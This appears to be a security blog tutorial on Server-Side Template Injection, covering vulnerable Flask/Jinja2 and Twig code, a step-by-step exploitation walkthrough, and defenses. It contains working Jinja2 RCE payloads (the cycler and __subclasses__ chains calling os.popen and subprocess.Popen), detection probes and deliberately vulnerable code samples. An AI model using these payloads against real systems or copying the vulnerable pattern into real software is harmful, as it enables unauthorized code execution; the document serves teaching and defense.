Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Server-Side Template Injection (SSTI) happens when an application takes attacker-influenced input and passes it into a template engine’s *compile* step rather than binding it purely as a *rendering variable*. Template engines like Jinja2, Twig, Freemarker, and Velocity are essentially small programming languages embedded in curly braces: they support expressions, attribute access, method calls, and in some cases full control flow. When user input becomes part of the template source itself — instead of a value substituted into a fixed template — the attacker is no longer supplying data, they are supplying code that the engine will parse and evaluate.
The impact ranges from information disclosure to full remote code execution, depending on the engine and how heavily it is sandboxed. Python-based engines (Jinja2, Mako) are particularly dangerous because Python’s object model lets an attacker walk from any object to __globals__, __builtins__, and eventually os.system, entirely from within the template expression syntax. SSTI is a favorite in CTFs and a recurring finding in real engagements because it is easy to introduce — a single render_template_string(user_input) call or a “customize this email/report template” feature is enough — and because the path from a math probe to RCE is short and well-documented.
Attack Prerequisites
SSTI requires a specific data flow: user-controlled data must reach the template *compiler*, not just the render context. The following conditions generally need to hold:
- User input becomes part of the template string that is compiled/rendered — e.g. a name field, a “preview” feature, an email template builder, a report generator, or a CMS “page template” editor.
- No separation between template source and template data. Safe usage passes user data as a *variable* into a fixed, developer-authored template (
render_template('hello.html', name=name)); vulnerable usage builds the template text itself from user input. - A template engine with a rich enough expression language to reach dangerous objects — most mainstream engines (Jinja2, Twig, Freemarker, Velocity, ERB, Smarty) qualify unless explicitly sandboxed.
- No effective sandboxing of the rendering context — a properly configured sandbox (e.g. Jinja2’s
SandboxedEnvironment) can block the object-graph walk that turns SSTI into RCE.
How It Works
Template engines expose two rendering modes that look similar but are fundamentally different: rendering a *template with a context* (safe) versus compiling a *template string built from untrusted input* (dangerous). In the safe mode, {{ name }} in a fixed template file is just a placeholder the engine substitutes with the value of the name variable — no matter what the value contains, it is inserted as data, HTML-escaped by default in most engines. In the dangerous mode, the *placeholder itself* is attacker-supplied, so {{ 7*7 }} is not substituted, it is *evaluated* by the engine’s expression parser, producing 49 in the output. That single observable — a math expression being evaluated instead of echoed literally — is the classic SSTI detection probe.
Once expression evaluation is confirmed, the exploitation path depends on how permissive the engine’s object model is. Jinja2 is the textbook case: every Python object exposes __class__, and every class exposes __mro__ (method resolution order) and __subclasses__(). An attacker with access to *any* object reachable from the context — even an empty string literal '' — can walk ''.__class__.__mro__[1].__subclasses__() to enumerate every loaded class, find one exposing __globals__ (module globals, including imported modules like os), and invoke it. Twig and Freemarker have their own equivalents — Twig attribute access can reach PHP object methods, and Freemarker’s Execute built-in has historically been abused to run OS commands directly.
Vulnerable Code / Configuration
The canonical vulnerable pattern in Flask/Jinja2 is building the template *string* from a request parameter and handing it straight to render_template_string, instead of passing the parameter as a bound variable to a static template:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/greet')
def greet():
name = request.args.get('name', 'guest')
# VULNERABLE: user input is concatenated into the TEMPLATE SOURCE,
# not passed as a rendering variable. The engine compiles whatever
# the attacker sends as part of the expression language.
template = "Hello " + name + "!"
return render_template_string(template)
# SAFE equivalent:
# return render_template_string("Hello {{ name }}!", name=name)
# Here `name` is bound as DATA in the context; it is HTML-escaped and
# can never be re-parsed as a Jinja expression.
PythonThe Twig/PHP equivalent is the same mistake — a “custom email template” or “page builder” feature that compiles a string assembled with sprintf/concatenation instead of rendering a fixed .twig file with variables:
// VULNERABLE: subject line is user-controlled and fed into Twig's
// createTemplate(), which COMPILES the string as template source.
$subject = $_POST['subject']; // e.g. from a "notification template" editor
$template = $twig->createTemplate("Subject: " . $subject);
echo $template->render();
// A subject of {{ 7*7 }} renders as "Subject: 49" -- confirms SSTI.
// From there, Twig's object/array access can reach exposed PHP methods.
PHPBoth snippets share the identical root cause: the developer intended a string-formatting operation (“insert the user’s name/subject here”) but implemented it as a template-compilation operation. The fix is never to sanitize the input string — it is to stop compiling untrusted strings as templates at all.
Walkthrough / Exploitation
Step 1 — detect. Send a math expression in every reflected input field and look for it being *evaluated* rather than echoed back literally:
GET /greet?name={{7*7}} HTTP/1.1
Host: target
# Response body contains: Hello 49!
# A literal "Hello {{7*7}}!" means it is NOT SSTI (or output is escaped).
HTTPStep 2 — fingerprint the engine with a differential probe, since syntax and coercion behavior differ between engines:
${7*7} -> 49 : likely Freemarker / Velocity-style
{{7*7}} -> 49 : likely Jinja2 / Twig
{{7*'7'}} -> 7777777 : Jinja2 (Python string*int repeat)
{{7*'7'}} -> error : Twig (type coercion differs)
TEXTStep 3 — walk the Jinja2 object graph from a harmless literal to find a class that exposes __globals__ (commonly a subprocess.Popen-family class, index varies by Python/Jinja2 version so enumerate rather than hard-code):
{{ ''.__class__.__mro__[1].__subclasses__() }}
<!-- returns the full list of loaded subclasses of object; grep the output
for something like <class 'subprocess.Popen'> and note its index -->
JINJA2Step 4 — execute a command. The cycler global (bundled with Jinja2/matplotlib in many environments) is a well-known shortcut because it is often present in the default global namespace and its __init__.__globals__ directly exposes imported modules including os:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
<!-- Equivalent generic subclasses() chain when cycler is unavailable: -->
{{ ''.__class__.__mro__[1].__subclasses__()[NNN]('id',shell=True,stdout=-1).communicate()[0].strip() }}
<!-- NNN = index of subprocess.Popen found in step 3 -->
JINJA2Note: Jinja2’s
__mro__[1](object) subclass index and the presence ofcyclerare environment-dependent — always enumerate__subclasses__()and grep forPopen/osrather than assuming a fixed index; automated tools liketplmapdo this enumeration for you and support Jinja2, Twig, Freemarker, Velocity, Smarty, Mako, and several others.
Opsec: SSTI payloads containing
__class__,__mro__,__subclasses__, orpopenare extremely high-signal strings that stand out in WAF logs and any regex-based monitoring; prefer the minimal{{7*7}}probe for initial detection and only send the full RCE chain once you have authorization and a specific reason to escalate, since it will almost certainly trip alerts.
Detection and Defense
The structural fix is to never let untrusted input reach the template compiler — everything else (encoding, sandboxing) is defense-in-depth on top of that:
- Never build template source from user input. Always render a fixed, developer-authored template and pass user data as context variables (
render_template('t.html', name=name)), never as the template string itself. - Use a sandboxed environment when a templating feature genuinely must accept user-authored templates (e.g. Jinja2
SandboxedEnvironment), and keep it updated — sandbox escapes are an active research area. - Least-privilege runtime — running the app under a low-privilege service account limits the blast radius of a successful
os.popen/Runtime.execcall even if SSTI occurs. - WAF / input validation as a secondary layer — block
{{,${,<%,#{in fields with no legitimate use, understanding this mitigates rather than fixes the bug. - Monitor for engine error signatures and unexpected child processes — Jinja2/Twig/Freemarker stack traces in logs, or
sh/bash/cmd.exespawned by the web server worker, are strong post-exploitation indicators.
Real-World Impact
SSTI is a recognized OWASP injection subclass and a frequent finding in products offering any kind of user-customizable template — email builders, report generators, CMS themes, chatbot prompt templates. Because the jump from detection ({{7*7}} -> 49) to RCE is typically minutes by hand and seconds with tooling like tplmap, SSTI findings are almost always rated Critical, and the Jinja2 object-graph-walk has become one of the most widely reused exploitation primitives in Python web application testing.
Conclusion
SSTI is what happens when a string-formatting problem is solved with a code-compilation tool. Because mainstream template engines expose rich, dynamically resolved object graphs, any expression an attacker can inject is, in practice, an expression evaluated with the full privileges of the host language runtime. The only durable fix is architectural: keep user input strictly in the data plane, bound as context variables against a fixed template, and never let it become part of the compiled template source.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments